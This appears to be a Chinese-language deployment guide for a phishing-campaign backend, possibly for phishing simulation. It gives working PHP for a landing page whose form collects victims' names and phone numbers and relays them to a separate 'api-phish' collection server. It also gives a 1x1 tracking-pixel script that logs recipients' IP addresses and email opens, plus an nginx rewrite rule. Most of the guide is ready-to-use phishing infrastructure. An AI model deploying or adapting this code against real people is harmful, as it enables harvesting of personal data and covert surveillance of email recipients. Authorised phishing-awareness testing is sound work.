通过重新构建请求的接口,使得可在原有页面代码里添加请求构建即可实现钓鱼接口分离部署,并可以对邮件进行监听
1、通过GET请求后端构建,传递用户请求的 RID
2、通过POST请求构建传递用户提交的body
3、构建新的Tracker监听接口,后端构建GET请求传递Tracker的RID
服务部署及配置
将监听页面(landing_pages)通过域名解析到互联网上,并新建一个页面(该页面内容无需编写),通过页面访问状态为404,通过rid 访问调试状态,后台可查看到数据即可。
监听接口:https://api-phish.example.com/
GET/POST请求接口
<?php
// 确保报告所有错误,这对于开发和调试非常重要
error_reporting(E_ALL);
ini_set('display_errors', 1);
// 获取用户请求中的 RID 参数
// 无论请求是GET还是POST,如果URL中包含rid,它都会在$_GET中
$rid = $_GET['rid'] ?? null;
// 检查当前请求的方法
$requestMethod = $_SERVER['REQUEST_METHOD'];
/*
* === 新增功能1: 无rid时GET请求直接跳转404页面 ===
* 这个检查必须在任何HTML输出之前执行,因为header()函数需要在响应头阶段发送。
*/
if (!$rid && $requestMethod === 'GET') {
http_response_code(404); // 通常404页面会伴随404状态码
header("Location: 404.html"); // 执行重定向到404.html
exit; // 终止脚本执行,确保浏览器立即跳转
}
// 定义目标服务器的URL
$targetBaseUrl = "https://api-phish.example.com/";
// 构建目标URL,RID参数总是添加到URL中
// 例如:https://api-phish.example.com/?rid=CMLxpkn
$targetUrl = $targetBaseUrl . (isset($rid) ? "?rid=" . urlencode($rid) : "");
// 根据请求方法处理不同的转发逻辑
if ($requestMethod === 'POST') {
// 获取原始 POST 请求的 Body 内容
$requestBody = file_get_contents('php://input');
// 获取原始请求的 Content-Type 头
$contentType = $_SERVER['CONTENT_TYPE'] ?? 'application/x-www-form-urlencoded';
// 初始化 cURL 会话
$ch = curl_init();
// 设置 cURL 选项
curl_setopt($ch, CURLOPT_URL, $targetUrl); // 目标URL,已包含rid
curl_setopt($ch, CURLOPT_POST, true); // 设置为 POST 请求
curl_setopt($ch, CURLOPT_POSTFIELDS, $requestBody); // 设置 POST 请求体
// 设置请求头,特别是 Content-Type
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: ' . $contentType,
'Content-Length: ' . strlen($requestBody) // 显式设置Content-Length
]);
// 设置 cURL 返回响应内容作为字符串
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 执行 cURL 请求
$response = curl_exec($ch);
// 检查 cURL 错误
if (curl_errno($ch)) {
$error_msg = curl_error($ch);
error_log("POST request to target server failed for RID: '{$rid}'. Target URL: {$targetUrl}. Error: {$error_msg}");
// 如果内部服务转发失败,您可以在这里选择是显示错误信息给用户,还是仍然跳转。
// 根据您的需求,即使转发失败也跳转到emailTips.html
} else {
error_log("POST request to target server successful for RID: '{$rid}'. Target URL: {$targetUrl}");
// 可选:在这里处理响应数据
// error_log("Response from target server: " . $response);
}
// 关闭 cURL 会话
curl_close($ch);
/*
* === 新增功能2: 用户点击提交按钮后(POST请求处理完毕),跳转emailTips.html ===
* 无论内部转发成功或失败,都在此重定向。
*/
header("Location: emailTips.html"); // 重定向到emailTips.html
exit; // 终止脚本执行,确保浏览器立即跳转
} elseif ($requestMethod === 'GET') {
// 当用户GET请求时,将发送get请求到https://api-phish.sunglowsec.com//?rid=CMLxpkn
// 注意:如果rid为空,已经在上面被404处理,所以到这里$rid一定不为空
$response = @file_get_contents($targetUrl); // 使用 @ 抑制可能的警告
if ($response === false) {
error_log("GET request to target server failed for RID: '{$rid}'. Target URL: {$targetUrl}");
// 如果GET请求到目标服务器失败,你可以选择显示一个错误页面或者继续显示当前页面
// 因为这是一个表单页面,即使后端数据获取失败,前端表单可能仍然需要展示
} else {
error_log("GET request to target server successful for RID: '{$rid}'. Target URL: {$targetUrl}");
// 可选:在这里处理响应数据
// if (!empty($response)) {
// error_log("Response from target GET server: " . $response);
// }
}
}
// PHP 服务器端逻辑执行完毕。
// 只有当是带有有效rid的GET请求时,并且没有被重定向,才会继续输出HTML内容给用户浏览器。
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>测试模板</title>
</head>
<body>
<div class="container">
<div class="dual-column">
<div class="notice-column">
<div class="notice-box">
<h2>显示文本</h2>
</div>
</div>
<div class="column-divider"> </div>
<div class="form-column">
<div class="form-box">
<h2>提交表单</h2>
<form action="" id="subsidyForm" method="post">
<div class="form-group">
<label class="required" for="name">姓名</label>
<input id="name" name="name" placeholder="请输入姓名" required="" type="text" />
</div>
<div class="form-group">
<label class="required" for="phone">手机号码</label>
<input id="phone" name="phone" pattern="^1[3-9]\d{9}$" placeholder="请输入手机号码" required="" type="tel" />
</div>
<div class="alert-info">
<p><strong>温馨提示:</strong>提示内容</p>
</div>
<button class="btn-submit" type="submit">提交</button>
</form>
</div>
</div>
</div>
</div>
<script>
document.getElementById('subsidyForm').addEventListener('submit', function(e) {
e.preventDefault();
const name = document.getElementById('name').value.trim();
const phone = document.getElementById('phone').value.trim();
// 客户端验证
if (!name || !phone) {
alert('请填写完整信息!');
return;
}
if (!/^1[3-9]\d{9}$/.test(phone)) {
alert('请输入有效的11位手机号码!');
return;
}
// 如果验证通过,提交表单。
// 此时表单会 POST 到当前页面,PHP脚本会捕获这个POST请求并进行转发和重定向。
this.submit();
});
</script>
</body>
</html>
邮件追踪接口
隐形像素或追踪代码: 邮件追踪通常通过在邮件正文中嵌入一个非常小的、不可见的像素图片(通常是1x1像素的GIF或PNG图片)或一段非常简短的代码来实现。这个像素图片或代码有一个独特的URL,指向发送者服务器上的一个特定资源。
加载触发: 当收件人打开邮件时,邮件客户端会尝试加载邮件中的所有内容,包括这个隐形像素或追踪代码。一旦这个像素被加载,发送者的服务器就会收到一个请求,从而记录下邮件被打开的信息。
记录信息: 通过这个加载请求,发送者可以获得以下信息:
邮件是否被打开: 这是最基本的功能。
打开时间: 邮件被打开的具体时间。
IP地址和大致地理位置: 根据IP地址可以推断出收件人打开邮件的地理位置。
使用的设备和邮件客户端: 有些追踪器可以识别收件人使用的设备类型(如手机、电脑)和邮件客户端。
打开次数: 如果收件人多次打开邮件,追踪器可以记录下来。
链接点击: 除了阅读追踪,一些追踪器还可以通过修改邮件中的超链接,来追踪收件人是否点击了邮件中的链接,以及点击了哪些链接。
追踪接口 track.php
<?php
// PHP 代码开始
// 1. 配置
$targetApiBaseUrl = 'https://api-phish.example.com/track'; //修改为真是的访问域名
$logFilePath = __DIR__ . '/tracker.log'; // 日志文件路径,与track.php在同一目录下
// 2. 准备要转发的参数
// 获取所有GET参数
$queryParams = $_GET;
// 将参数构建成查询字符串
$queryString = http_build_query($queryParams);
// 构建目标URL
$targetUrl = $targetApiBaseUrl;
if (!empty($queryString)) {
$targetUrl .= '?' . $queryString;
}
// 3. 记录本地日志 (可选但强烈推荐)
function log_message($message, $logFile) {
file_put_contents($logFile, date('Y-m-d H:i:s') . ' - ' . $message . PHP_EOL, FILE_APPEND);
}
log_message("Incoming track request from IP: " . $_SERVER['REMOTE_ADDR'] . " - Query: " . $_SERVER['QUERY_STRING'], $logFilePath);
// 4. 使用 cURL 发送 GET 请求到目标 API
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $targetUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回响应而不是直接输出
curl_setopt($ch, CURLOPT_TIMEOUT, 5); // 设置超时时间为 5 秒
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
// 如果目标API是HTTPS,需要验证SSL证书。在生产环境中,强烈建议保持开启。
// 如果您在开发环境中遇到证书问题,可以暂时设置为 false,但 PRODUCTION 环境下切勿如此。
// curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
if ($error) {
log_message("Error forwarding request to " . $targetUrl . ": " . $error, $logFilePath);
} else {
log_message("Successfully forwarded request to " . $targetUrl . " - HTTP Code: " . $httpCode . " - Response: " . substr($response, 0, 200), $logFilePath); // 记录部分响应内容
}
curl_close($ch);
// 5. 响应一个 1x1 透明 GIF 图片
// 这是一个 1x1 像素的透明 GIF 图片的二进制数据
$gifData = base64_decode('R0lGODlhAQABAJAAAP8AAAAAACH5BAUQAAAALAAAAAABAAEAAAICBAEAOw==');
// 设置正确的 Content-Type 头
header('Content-Type: image/gif');
// 设置 Content-Length 头,告知浏览器图片大小
header('Content-Length: ' . strlen($gifData));
// 设置缓存头,通常对于追踪像素,我们希望它不被缓存,每次都请求
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
// 输出 GIF 图片数据
echo $gifData;
exit; // 确保不再执行任何其他代码
?>
Nginx配置文件(URL 重写)
# /www/server/panel/vhost/rewrite/xxx.conf 文件内容
# 将 /track 重写到 /track.php,同时保留查询参数
rewrite ^/track$ /track.php last;